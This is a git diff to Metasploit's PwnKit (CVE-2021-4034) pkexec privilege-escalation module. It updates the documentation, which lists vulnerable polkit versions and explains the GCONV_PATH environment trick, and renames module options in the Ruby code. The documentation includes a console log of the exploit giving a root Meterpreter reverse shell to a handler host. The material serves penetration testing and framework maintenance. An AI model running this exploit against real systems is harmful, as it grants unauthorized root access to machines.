diff --git a/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md index bae039761e..79b5b6d189 100644 --- a/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md +++ b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md @@ -5,61 +5,65 @@ will exit without any arguments and give the help menu. Unpatched versiions give the error that the shell was not in the shells folder. Last Vulnerable Ubuntu packages: -20.04: 0.105-26ubuntu1.2 -21.10: 0.105-31ubuntu0.1 -18.04: 0.105-20ubuntu0.18.04.6 +- 20.04: 0.105-26ubuntu1.2 +- 21.10: 0.105-31ubuntu0.1 +- 18.04: 0.105-20ubuntu0.18.04.6 + Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py Last Vulnerable Debian Packages: -stretch: 0.105-18+deb9u2 -buster: 0.105-25+deb10u1 -bullseye: 0.105-31+deb11u1 +- stretch: 0.105-18+deb9u2 +- buster: 0.105-25+deb10u1 +- bullseye: 0.105-31+deb11u1 + Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py Vulnerable ContOS Packages: -polkit-0.112-5.ael7b -polkit-0.112-13.p1.el7a -polkit-0.96-2.el6 -polkit-0.96-2.el6_0.1 -polkit-0.96-5.el6_4 -polkit-0.96-7.el6 -polkit-0.96-7.el6_6.1 -polkit-0.96-11.el6 -polkit-0.96-11.el6_10.1 -polkit-0.112-1.el7 -polkit-0.112-5.el7 -polkit-0.112-6.el7_2 -polkit-0.112-7.el7_2.2 -polkit-0.112-7.el7_2.3 -polkit-0.112-7.el7_2 -polkit-0.112-9.el7 -polkit-0.112-11.el7_3 -polkit-0.112-12.el7_3 -polkit-0.112-12.el7_4.1 -polkit-0.112-14.el7 -polkit-0.112-14.el7_5.1 -polkit-0.112-17.el7 -polkit-0.112-18.el7 -polkit-0.112-18.el7_6.1 -polkit-0.112-18.el7_6.2 -polkit-0.112-22.el7 -polkit-0.112-22.el7_7.1 -polkit-0.112-26.el7 -polkit-0.115-6.el8 -polkit-0.115-9.el8 -polkit-0.115-9.el8_1.1 -polkit-0.115-11.el8 -polkit-0.115-11.el8_2.1 -polkit-0.115-11.el8_3.2 -polkit-0.115-11.el8_4.1 -polkit-0.115-12.el8 +- polkit-0.112-5.ael7b +- polkit-0.112-13.p1.el7a +- polkit-0.96-2.el6 +- polkit-0.96-2.el6_0.1 +- polkit-0.96-5.el6_4 +- polkit-0.96-7.el6 +- polkit-0.96-7.el6_6.1 +- polkit-0.96-11.el6 +- polkit-0.96-11.el6_10.1 +- polkit-0.112-1.el7 +- polkit-0.112-5.el7 +- polkit-0.112-6.el7_2 +- polkit-0.112-7.el7_2.2 +- polkit-0.112-7.el7_2.3 +- polkit-0.112-7.el7_2 +- polkit-0.112-9.el7 +- polkit-0.112-11.el7_3 +- polkit-0.112-12.el7_3 +- polkit-0.112-12.el7_4.1 +- polkit-0.112-14.el7 +- polkit-0.112-14.el7_5.1 +- polkit-0.112-17.el7 +- polkit-0.112-18.el7 +- polkit-0.112-18.el7_6.1 +- polkit-0.112-18.el7_6.2 +- polkit-0.112-22.el7 +- polkit-0.112-22.el7_7.1 +- polkit-0.112-26.el7 +- polkit-0.115-6.el8 +- polkit-0.115-9.el8 +- polkit-0.115-9.el8_1.1 +- polkit-0.115-11.el8 +- polkit-0.115-11.el8_2.1 +- polkit-0.115-11.el8_3.2 +- polkit-0.115-11.el8_4.1 +- polkit-0.115-12.el8 + Source: https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/ -Fedora: +### Fedora: + Fedora should be vulnerable, and the check will return showing that it is vulnerable, but the exploit will fail. I don't know why. -RedHat: +### RedHat: Untested on Redhat, but I assume similar to Fedora. ## Summary @@ -115,15 +119,23 @@ encode to the unknown charset. To break it down, we need to place a .so payload binary in our current working directory called `abc.so` and call pkexec with no arguments and the environment values: + `abc` + `PATH=GCONV_PATH=.` + `SHELL=/garbage` + `CHARSET=garbage` Once `g_find_program_in_path` runs, the environment variables will be changed to: + `GCONV_PATH=./abc.so` + `PATH=GCONV_PATH=.` + `SHELL=/garbage` + `CHARSET=garbage` The result will be that pkexec errors while trying to encode test to the non-existant charset, causing it to @@ -138,32 +150,38 @@ load the provided abc.so file in the root context. * set LHOST `` * `run` +## Options + + +### WRITEABLE_DIR +This indicates the location where you would like the payload and exploit stored, as well +as serving as a location to store the various files and directories created by the exploit itself. +The default value is `/tmp` + +### PKEXEC_PATH +This indicates the location of the pkexec binary. Normally, the module can find the binary without help. +It defaults to nil. + +## Advanced Options + +### FinalDir +This indicates the starting directory for the new root-enabled session. The module deletes the working directory +out from under the running payload, so the current working directory for the new session will not exist, and that +can result in odd errors, so we just change to a directory that does exist before user interaction. +It defaults to '/' + ## Scenarios ``` -msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1 -[*] Starting interaction with 1... - -meterpreter > sysinfo -Computer : 10.5.132.108 -OS : Ubuntu 18.04 (Linux 4.15.0-29-generic) -Architecture : x64 -BuildTuple : x86_64-linux-musl -Meterpreter : x64/linux -meterpreter > getuid -Server username: msfuser -meterpreter > background -[*] Backgrounding session 1... -msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec -[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): - Name Current Setting Required Description - ---- --------------- -------- ----------- - COMPILE Auto yes Compile on target (Accepted: Auto, True, False) - SESSION yes The session to run this module on + Name Current Setting Required Description + ---- --------------- -------- ----------- + PKEXEC_PATH no The path to pkexec binary + SESSION 1 yes The session to run this module on + WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): @@ -181,71 +199,59 @@ Exploit target: 0 x86_64 -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1 -session => 1 -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set verbose true -verbose => true -msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check - -[!] SESSION may not be compatible with this module: -[!] * missing Meterpreter features: stdapi_railgun_api -[*] Found pkexec here: /usr/bin/pkexec -[*] Determined host os is Ubuntu -[*] Polkit package version = 0.105-20ubuntu0.18.04.1 -[*] Found pkexec here: /usr/bin/pkexec -[*] Creating directory /tmp/.ufhbng -[*] /tmp/.ufhbng created -[!] Verify cleanup of /tmp/.ufhbng -[!] Verify cleanup of /tmp/.ufhbng -[*] Running python3 /tmp/.ufhbng/.ldhocrgy /usr/bin/pkexec /tmp/.ufhbng/tvbitkhihqho/tvbitkhihqho.so tvbitkhihqho aaparobio -[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “aaparobio” -The value for the SHELL variable was not found the /etc/shells file - -This incident has been reported. -[+] The target is vulnerable. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api [*] Started reverse TCP handler on 10.5.135.101:4444 [*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec [*] Found pkexec here: /usr/bin/pkexec +[*] Found pkexec version 0.105 [*] Determined host os is Ubuntu -[*] Polkit package version = 0.105-20ubuntu0.18.04.1 +[*] Polkit package version = 0.105-26ubuntu1 +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec [*] Found pkexec here: /usr/bin/pkexec -[*] Creating directory /tmp/.xsbrztbjdlw -[*] /tmp/.xsbrztbjdlw created -[!] Verify cleanup of /tmp/.xsbrztbjdlw -[!] Verify cleanup of /tmp/.xsbrztbjdlw -[*] Running python3 /tmp/.xsbrztbjdlw/.qokngxltl /usr/bin/pkexec /tmp/.xsbrztbjdlw/dvinwmvna/dvinwmvna.so dvinwmvna ezrlnvhdknjd -[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “ezrlnvhdknjd” +[*] Creating directory /tmp/.pacfbr +[*] /tmp/.pacfbr created +[!] Verify cleanup of /tmp/.pacfbr +[*] Running python3 /tmp/.pacfbr/.jxkiwyj /usr/bin/pkexec /tmp/.pacfbr/khmtpqj/khmtpqj.so khmtpqj mbbidsfl +[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “mbbidsfl” The value for the SHELL variable was not found the /etc/shells file This incident has been reported. [+] The target is vulnerable. +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec [*] Found pkexec here: /usr/bin/pkexec -[*] Creating directory /tmp/.voknjxp -[*] /tmp/.voknjxp created -[*] Writing '/tmp/.voknjxp/aicljkrq/aicljkrq.so' (548 bytes) ... -[!] Verify cleanup of /tmp/.voknjxp -[!] Verify cleanup of /tmp/.voknjxp -[*] Running python3 /tmp/.voknjxp/.oarttl /usr/bin/pkexec /tmp/.voknjxp/aicljkrq/aicljkrq.so aicljkrq flqweu +[*] Creating directory /tmp/.lukbdme +[*] /tmp/.lukbdme created +[*] Writing '/tmp/.lukbdme/rnaxcz/rnaxcz.so' (548 bytes) ... +[!] Verify cleanup of /tmp/.lukbdme +[*] Running python3 /tmp/.lukbdme/.iwksanwva /usr/bin/pkexec /tmp/.lukbdme/rnaxcz/rnaxcz.so rnaxcz jnagcbkqds [*] Transmitting intermediate stager...(126 bytes) -[*] Sending stage (3012548 bytes) to 10.5.132.108 -[+] Deleted /tmp/.voknjxp/aicljkrq/aicljkrq.so -[+] Deleted /tmp/.voknjxp/.oarttl -[*] Meterpreter session 2 opened (10.5.135.101:4444 -> 10.5.132.108:59692 ) at 2022-02-18 16:13:09 -0600 +[*] Sending stage (3012548 bytes) to 10.5.132.107 +[+] Deleted /tmp/.lukbdme/rnaxcz/rnaxcz.so +[+] Deleted /tmp/.lukbdme/.iwksanwva +[!] Attempting to delete working directory /tmp/.lukbdme +[!] Attempting to delete working directory /tmp/.lukbdme +[*] Meterpreter session 3 opened (10.5.135.101:4444 -> 10.5.132.107:54758 ) at 2022-03-01 14:40:18 -0600 meterpreter > sysinfo -Computer : 10.5.132.108 -OS : Ubuntu 18.04 (Linux 4.15.0-29-generic) +Computer : 10.5.132.107 +OS : Ubuntu 20.04 (Linux 5.4.0-42-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > getuid Server username: root +meterpreter > pwd +/ meterpreter > + ``` **Reference:** https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index 8675961f4e..429d2146ce 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -10,7 +10,6 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System - include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -79,10 +78,12 @@ class MetasploitModule < Msf::Exploit::Local } ) ) + register_options([ + OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ]) + ]) register_advanced_options([ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]), - OptString.new('PkexecPath', [ false, 'The path to pkexec binary', '' ]) ]) end @@ -116,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Local end # check the binary - pkexec_path = datastore['PkexecPath'] + pkexec_path = datastore['PKEXEC_PATH'] pkexec_path = find_pkexec if pkexec_path.empty? return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil? @@ -180,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end - pkexec_path = datastore['PkexecPath'] + pkexec_path = datastore['PKEXEC_PATH'] if pkexec_path.empty? pkexec_path = find_pkexec end @@ -197,12 +198,12 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath' end - unless writable? datastore['WritableDir'] - fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" + unless writable? datastore['WRITABLE_DIR'] + fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable" end local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}" - working_dir = "#{datastore['WritableDir']}/#{local_dir}" + working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}" mkdir(working_dir) register_dir_for_cleanup(working_dir)